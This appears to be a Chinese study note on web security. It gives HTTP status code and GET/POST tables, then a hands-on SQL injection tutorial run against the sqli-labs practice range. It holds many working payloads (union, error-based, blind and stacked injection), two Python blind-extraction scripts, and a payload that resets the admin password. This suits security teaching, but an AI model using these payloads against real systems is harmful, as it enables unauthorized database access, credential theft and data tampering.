http状态码
http状态码分为5种类型:
1** :信息,服务器收到请求,需要请求者继续执行操作
2** :成功,操作被成功接收并处理
3** :重定向,需要进一步的操作以完成请求
4** :客户端错误,请求包含语法错误或无法完成请求
5** :服务器错误,服务器在处理请求的过程中发生了错误
状态码 | 状态 | 含义 |
100 | continue | 继续请求 |
200 | OK | 此状态吗为正常状态,所请求的响应头和数据体将随此响应返回 |
204 | No Content(无内容) | 服务器成功处理,但未返回内容。 |
206 | Partial Content(部分内容) | 服务器成功处理了部分GET请求 |
301 | Moved Permanently(永久重定向) | 请求的资源已被永久地移动到新的URL, 返回信息包括新的URL, 浏览器会自动定向到新URL |
302 | Found(临时重定向) | 临时被移动,希望本次访问新的URL |
303 | See Othe(查看其它地址) | 由于请求对应的资源存在着另一个URL,应使用GET方法定向获取请求的资源 |
304 | Not Modified(未修改) | 所请求的资源未修改,服务器返回此状态码时,不会返回任何资源。客户端通常会缓存访问过的资源,通过提供一个头信息指出客户端希望只返回在指定日期之后修改的资源 |
305 | Use proxy(使用代理) | 请求者只能使用代理访问请求的网页。如果服务器返回此响应,那么,服务器还会指明请求者应当使用的代理 |
307 | Temporary Redire(临时重定向) | 与303有着相同的含义,307会遵照浏览器标准不会从POST变成GET;(不同浏览器可能会出现不同的情况)。 |
400 | Bad Request (语法错误) | 客户端请求的语法错误,服务器无法理解。 |
401 | Unauthorized(未授权) | 发送的请求需有通过HTTP认证的认证信息 |
403 | Forbidden(禁止) | 对请求资源的访问被服务器拒绝了 |
404 | Not Found(未找到) | 服务器上无法找到请求的资源 |
405 | Method Not Allowed (方法禁用) | 客户端请求中的方法被禁止。 |
406 | Not Acceptable(不接受) | 无法使用请求的内容特性来响应请求的网页。 |
408 | Request Time-out(请求超时) | 服务器等待客户端发送的请求时间过长,超时。 |
500 | Internal Server Error(服务器内部错误) | 服务器遇到错误,无法完成请求。 |
501 | Not Implemented(尚未实施) | 服务器不具备完成请求的功能。例如,当服务器无法识别请求方法时,服务器可能会返回此代码。 |
502 | Bad Gateway(错误网关) | 作为网关或者代理工作的服务器尝试执行请求时,从远程服务器接收到了一个无效的响应 |
503 | Service Unavailable(服务不可用) | 由于超载或系统维护,服务器暂时的无法处理客户端的请求。通常,这只是一种暂时的状态。 |
504 | Gateway Time-out(网关超时) | 服务器作为网关或代理,未及时从上游服务器接收请求。 |
505 | HTTP Version not supported(HTTP 版本不受支持) | 服务器不支持请求中所使用的 HTTP 协议版本。 |
get与post区别
区别 | get | post |
url可见性 | 参数url可见 | url不可见 |
数据传输 | 拼接url进行传递参数? | 通过body体传输参数 |
缓存性 | get请求可以缓存 | post请求不可以缓存 |
后退界面的反应 | 无影响 | 请求页面后退时,会重新提交请求 |
传输数据大小 | 2k-4k | 根据php.ini,也可以无限大 |
安全性 | url可见 | 抓包body可见 |
数据包 |
|
|
SQL注入
原理
Web程序使用数据库存储信息,SQL命令是前台与后台交互的窗口,将数据传输到Web应用程序。网站利用用户输入的参数动态形成SQL查询。由于程序对用户输入的数据的合法性没有进行严格的判断和处理,攻击者在URL(get)、表单(post)、或http请求头输入恶意的SQL命令,非法授权操作数据库。
危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。攻击者未经授权可以访问数据库中的数据
- 网页篡改:通过操作数据库对特定网页进行篡改。
- 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。网站目录存在写入权限
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号
- 经过提权等步骤,服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 破坏硬盘数据,瘫痪全系统。
分类
从注入参数分:数字型注入、字符型注入、搜索型注入
从注入方法分:联合查询、基于报错、基于布尔盲注、基于时间盲注、堆叠注入、内联查询注入、宽字节注入
从提交方式,注入点的位置分:GET注入、POST注入、COOKIE注入、HTTP头注入
其他:文件读写、REGEXP正则匹配、过滤绕过、万能密码
搭建环境
- (操作系统)ubantu18.04
- (服务器)apache2
- (web脚本)php7.2
- (数据库)mysql 5.5.29
- (编译环境)vscode
- (浏览器)firefox
- (经典sql注入靶场)sqli-labs
1.联合查询之字符串查询
原理:
联合查询是将多个select语句的查询结果合并到一块,因为是拼接,所以多个查询结果的字段必须相同。数字型为纯数字,字符型为数字带单双引号,括号。
(1)Myql中常用函数——(判断sql注入点)
- 系统函数
- version()--mysql版本
- user()------数据库用户名
- database()----数据库名
- @@datadir---数据库路径
- @@version_compile_os-操作系统版本
- 字符串连接函数
- concat(str1,str2,..)———————没有分隔符地连接字符串
- concat_ws(separator,str1,str2) ———含有分隔符的连接字符串
- group_concat(str1,str2,...)——————连接一个组的所有字符串,并以逗号分隔每一条数据。
- 逻辑运算
|| 、&&、 &
(2)理解代码层面逻辑(去掉无关代码):
- 首先通过GET获取参数id赋值给id,拼接到SQL语句中
- 执行sql语句,展示结果。
(3)sql注入流程
数据库中存储的数据按照上图的形式,因此注入过程就是:
- 拿到数据库名
- 获取当前数据库下的数据表
- 获取当前数据表下的列
- 获取数据
(4)Mysql系统表:information_schema
mysql系统表中保存着关于mysql服务器所维护的所有其他数据库的信息,如数据库名、表、表栏的数据类型、访问权限。在sql注入中,重点关注的表如下,利用这几个表获取数据:
- schemata:存储当前mysql数据库中所有数据库的信息,其中schema_name字段保存了所有的数据库名,show databases的结果就取自此表。
- tables:提供了关于数据库中表的信息,详细表述了那个表属于哪个schema,表类型,表引擎,创建时间等信息,其中tabale_name字段保存了所有列名信息。
- columns:提供了表中的列信息,详细表述了某张表的所有列及每个列的信息,其中column_name保存了所有字段信息。
(5)构造sql语句
- 输入?id=1'时,多了一个单引号无法闭合,造成sql报错。
- 输入?id=-1' union select 1,2 %23时,其中%23是#的url编码形式,而#在mysql中为注释符,将之后的限制条件(LIMIT0,1)注释掉。拼接后的SQL语句为:
SELECT * FROM users WHERE id='-1' union select 1,2,3 # ' LIMIT 0,1
数据库没有id=-1的用户,但union联合查询1,2,3,三个数字拼接到了查询结果中,因为要求联合查询前后字段数一致,所以在不清楚sql查询了多少个字段的数据时,可以尝试,如果个数正确,会返回正常。
- 获取数据库名:?id=-1' union select 1,database(),3 %23
SELECT * FROM users WHERE id='id=-1'union select 1,database(),3 # ' LIMIT 0,1
- 获取表名:?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database()%23拼接后的SQL语句为:
SELECT * FROM users WHERE id='-1'union select 1,table_name,3 from information_schema.tables where table_schema=database()# ' LIMIT 0,1
但是一个数据库中有多张表,这样的语句只能打印第一个,其他的查询结果无法显示出来,所以用到字符串连接函数:group_concat(连接一个组的所有字符串,并以逗号分隔每一条数据。构造语句为:?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()%23,得到当前数据库下的表。
- 收集数据:需要知道字段名才可以查出数据,所以首先需要知道一个表中有多少字段,各个字段的字段名是什么。可以构造语句:?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23 获取字段名。拼接后可看到users表中的字段
- 最后知道字段名后,根据字段名获取相应数据,构造语句:?id=-1 union select 1,username,paddword from users %23。利用字符串拼接函数显示所有结果,构造语句:?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
联合查询之数字型查询
在注入时,要判断原语句的结构,使用id=1'查看报错信息,根据报错信息猜测原语句1' limit 0,1,这时是自己输入的单引号造成了错误,所以不再需要闭合去掉单引号即可。修改payload id=-1'为id=-1。
数字型注入:注入时输入的id号为数字类型,没有引号包裹的注入就是数字型注入。
其余情况:
单引号括号:报错信息为'1'') LIMIT 0,1时,可以猜测原语句有单引号和括号,所以修改id=-1'为id=-1‘)
双引号:"1"") LIMIT 0,1,猜测原语句为双引号和括号,修改id=-1'为id=1")
Mysql中的隐式类型转换
为何在输入单引号没有报错,还能正常查询出数据?mysql中数据类型之间比较的问题users表中id字段为int类型,查询时输入 id="1" 时,实际上是将 int 类型与字符串类型相比较,这就存在 mysql 中的隐式类型转换的问题,在 int 与字符串进行比较时,会将字符串转化为 int ,然后进行比较,转化规则是从第一个数字开始转化,遇到字符后则结束,若第一个字符不为数字,则比较时直接为 Null。
例如:
- '
123aaa
'转化为 123 - '
12354ggg
’转化为 12354
报错注入——Xpath语法错误
原理:
适用mysql所有版本。构造payload利用Mysql报错信息回显出来获取敏感信息。
Xpath报错注入主要利用 extractvalue、updatexml函数用来对XML文档进行查询和修改。传入两个参数,第一个是目标XML文档,第二个参数是Xpath路径法表示的查找路径,当Xpath格式语法错误的时候就会报错显示。
- 构建payload: and extractvalue(1,concat('~',database())); %23
- sql查询语句为:
SELECT * from users WHERE id = 1 and extractvalue(1,concat('~',database()));
- 获取数据库,利用group_concat一次性查出来:
id= 1'and extractvalue(1,concat('~',(select group_concat(schema_name) from information_schema.schemata limit 0,1))); %23 。
- 获取数据表:updatexml显示的报错信息最长只能显示32个字符,所以使用字符串截取函数分别显示特定区间的字符。显示1-32个字符:
id= 1'and extractvalue(1,concat('~',(select mid(group_concat(table_name),1,32) from information_schema.tables where table_schema='answers' limit 0,1),'~')); %23
- 获取字段名:
id= 1'and extractvalue(1,concat('~',(select mid(group_concat(column_name),1,32) from information_schema.columns where table_name='flags' limit 0,1),'~')); %23
- 获取字段:
id= 1'and extractvalue(1,concat('~',(select flag from answers.flags limit 0,1),'~')); %23
报错注入———几何函数报错
原理:
5.5 < mysql版本 < 5.6。GeometryCollection是一个或多个任意类几何图形构成的几何图形。mysql无法使用这样的字符串画出图形时,就可以报错,常用payload如下:
and geometrycollection((select * from(select * from(select version())a)b)); %23
获取数据库名:
id=1' and geometrycollection((select * from(select * from(select group_concat(schema_name) from information_schema.schemata )a)b)); %23
获取表名:
id=1' and geometrycollection((select * from(select * from(select group_concat(table_name) from information_schema.tables where table_schema='answers')a)b)); %23
获取字段名:
id=1' and geometrycollection((select * from(select * from(select group_concat(column_name) from information_schema.columns where table_name='flags')a)b)); %23
获取字段内容:
id=1' and geometrycollection((select * from(select * from(select flag from answers.flags where stage=5)a)b)); %23
linestring 对象表示一系列坐标连接的线,
polygon 数据对象类型表示一些列线连接封闭的多边形,
MultiPoint 是由 Point 元素组成的几何集合。
MultiLineString 函数、
MultiPolygon 函数
报错原理同上。
报错注入——整数溢出报错
原理:
函数成功执行后返回0,0取反可以得到最大的无符号bigint值:18446744073709551615,使用较小的数-~0可以触发报错。构造一个成功执行的函数,然后取反:
id=1' and (select !(select*from (select user())x)-~0);
获取数据库名:
id=1' and (select !(select*from(select group_concat(schema_name) from information_schema.schemata)x)-~0);%23
exp函数是当传递给 exp 函数一个大于 709 的数值时,会引起一个报错。
select exp(~(select * from(select version())x));
获取数据库名:
id= 1' and (select exp(~(select * from(select schema_name from information_schema.schemata LIMIT 1,1)x))); %23
POW(x, y):POW()函数返回一个数字的值,到另一个数字的幂。cot:返回一个数字的余切。作为bool 盲注时的辅助手段。
报错注入——列名重复注入
报错原理:在group by 、 count(*)结合floor(rand(0)*2)后,就会产生报错。
id= 1' and (select 1 from (select count(*) ,concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) %23
- 为什么加一个 select 1 呢?原因在于后面查询的 count(*), concat 为两个字段,而 and 在做运算时,必须只能一个字段,所以这里加上 select 1;
- 为什么要用 concat(0x7e,version(),0x7e) 呢?0x7e 是十六进制;
获取数据库名
id=1' and (select 1 from (select count(*) ,concat((select concat(0x7e,schema_name,0x7e) from information_schema.schemata LIMIT 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23 '
join列名重复注入
join 关键字也可以用于构造重复列名报错,但是也有一定的局限性,配合 using 函数可以获取表的字段名,而数据库名,表名无法获取。假设已经知道存在 answers 数据库与 flags 数据表。
id= 1' and (select * from (select * from (select * from answers.flags) a join (select * from answers.flags) b)x); %23
name_const 列名重复报错注入
在 Mysql 中,Mysql 列名重复会导致报错。name_const 用于构造一个列。但是使用 name_const 必须保证上述 payload 中 version()处所对应的值是常量,而我们所需要的 database() 和 user() 都是变量,无法通过该方法。
select * from (select NAME_CONST(database(),1),NAME_CONST(database(),1))x;
盲注——布尔
原理:
盲注就是在 SQL 注入过程中,SQL 语句执行的选择后,选择的数据不能回显到前端页面。这样的情况下,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。
盲注分为三类:
- 基于 bool 的 SQL 盲注 。
- 基于时间的 SQL 盲注 。
- 基于报错的 SQL 盲注。
函数:
- left(a,b) 从左侧截取 a 的前 b 位。
- substr(a,b,c) 从 b 位置开始,截取字符串 a 的 c 长度。
- ascii()将某个字符转换为 ascii 值。
- Ord() 函数同 ascii(),将字符转为 ascii 值。
- mid(a,b,c)从位置 b 开始,截取 a 字符串的 c 位(与 substr 相同)。
- regexp、like关键字用于正则表达式匹配。
if(condition, value_if_true, value_if_false)
condition
为必须,判断条件。value_if_true
为可选,当条件是true
值返回的值。condition
为可选,当条件是false
值返回的值。select if(500<1000, 5, 10);
查看版本号的第一位是不是 5,为什么要加上 ascii 呢?因为在 Mysql 中,如果采用字母和数字做比较的方法,会出现隐式类型转换的问题,导致结果不准确,这里可以改为 ascii 码的对比,或者改为字符之间的对比。
id=1' and ascii(substr(version(),1,1))=5 %23
可以编写python脚本逐个测试布尔值,得到正确的version版本
import requests
import re
import string
url = "http://127.0.0.1/sqli-labs/Less-8/"
chars = '0123456789.'
result = ''
global length
for i in range(1, 10):
for char in list(chars):
url = "http://127.0.0.1/sqli-labs/Less-8/?id=1' and ord(substr(version(),{},1))={} %23"
urlformat = url.format(i, ord(char))
print('[+] url:', urlformat)
res = requests.get(urlformat).text
if re.search("You are in", res):
result += char
print('result: ', result)
break
else:
pass
print('version is ' + result)
- 因为版本号只有数字和
"."
,所以 chars 里面只写数字和"."
。 - 第一个循环的次数只要大于想要获取的信息的长度即可。
- 使用正则匹配页面返回的内容,如果 "You are in" 出现在页面内容里,则说明猜测正确。
要用以上的方法依次获取数据库名、数据表名。
id=1' and ord(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{} %23
盲注——延时注入
假设攻击场景中,查询正确与查询错误返回的页面完全一样,这时候, 基于 bool 的盲注就不管用了。显然,就没法使用基于 bool 的盲注了,这时候怎么办呢?我们可以使用基于延时的盲注手法,payload 如下:
id=1' and if(ord(substr(version(),1,1))=53,sleep(3),1) %23
sleep(n)
睡眠 n 秒。- benchmark(count,expr),用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。
select benchmark(50000000,MD5(1));
利用sleep函数获取数据库名
id=1' and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=53,sleep(3),1) %23
同理可编写python脚本逐次获取版本号:
import requests
import re
import time
import string
result = ''
global length
for i in range(1, 60):
for char in range(32, 129):
url = "http://127.0.0.1/sqli-labs/Less-9/?id=1' and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),{},1))={},sleep(3),1) %23"
urlformat = url.format(i, char)
print('[+] url:', urlformat)
start_time = time.time()
res = requests.get(urlformat).text
if time.time() - start_time > 3:
result += chr(char)
print('result: ', result)
break
else:
pass
print('version is ' + result)
利用benchmark 函数进行构造。先本地估算一下时间,我本地重复执行 md5 函数 25000000 次大概能够造成延时三秒。
id=1' and if(ord(substr((select group_concat(schema_name) from information_schema.schemata),1,1))=53,BENCHMARK(12000000,MD5(1)),1) %23
笛卡尔积计算也可以用来延时注入
post注入
原理:
POST 报文能够将数据从客户端提交到服务器端,通常情况下是一个表单,例如我们在登录过程中,输入的用户名和密码,是以表单的形式提交,提交到服务器后服务器再进行验证。POST 型注入就是基于 POST 传输的数据。表单提交的数据为最后一行。
POST 注入利用
post注入可以用报错、联合查询等。这里使用 extractvalue 函数举例。首先是获取数据库名,注入的 payload 实际上和 GET 型注入一致,只不过需要用 POST 的形式进行提交。
1'and extractvalue(1,concat('~',(select mid(group_concat(schema_name),1,32) from information_schema.schemata limit 0,1))); %23
post不需要写 %23,而是写 #
堆叠注入
原理:
在 Mysql
中,主要是命令行中,每一条语句结尾加 ;
表示语句结束。union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别呢?区别就在于 union 注入执行的语句类型是有限的,只可以执行查询语句,而堆叠注入可以执行的是任意的语句,包括数据库、数据表的增删改查。
在堆叠注入的利用场景中,可以随心所欲;例如删除表格破坏 Web 应用程序,插入伪造数据达成登录,更改数据控制其他账户等,都是可以做到的。
可以构造如下 payload:
login_user=admin&login_password=admin';update users set password="123123" where username='admin';# &mysubmit=Login
使用 update 语句直接将 admin 用户的密码改成 123123。
SQL头注入点
- · UserAgent
- · Referer
- · Cookie
- · X-Forwarded-For IP